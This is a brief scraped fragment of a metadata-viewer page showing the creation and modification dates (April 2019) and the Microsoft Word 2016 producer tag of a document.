Create Date                     : 2019:04:26 09:29:49-04:00
Modify Date                     : 2019:04:26 09:29:49-04:00
Producer                        : Microsoft® Word 2016
EXIF Metadata provided by
EXIF.tools

Navigation menu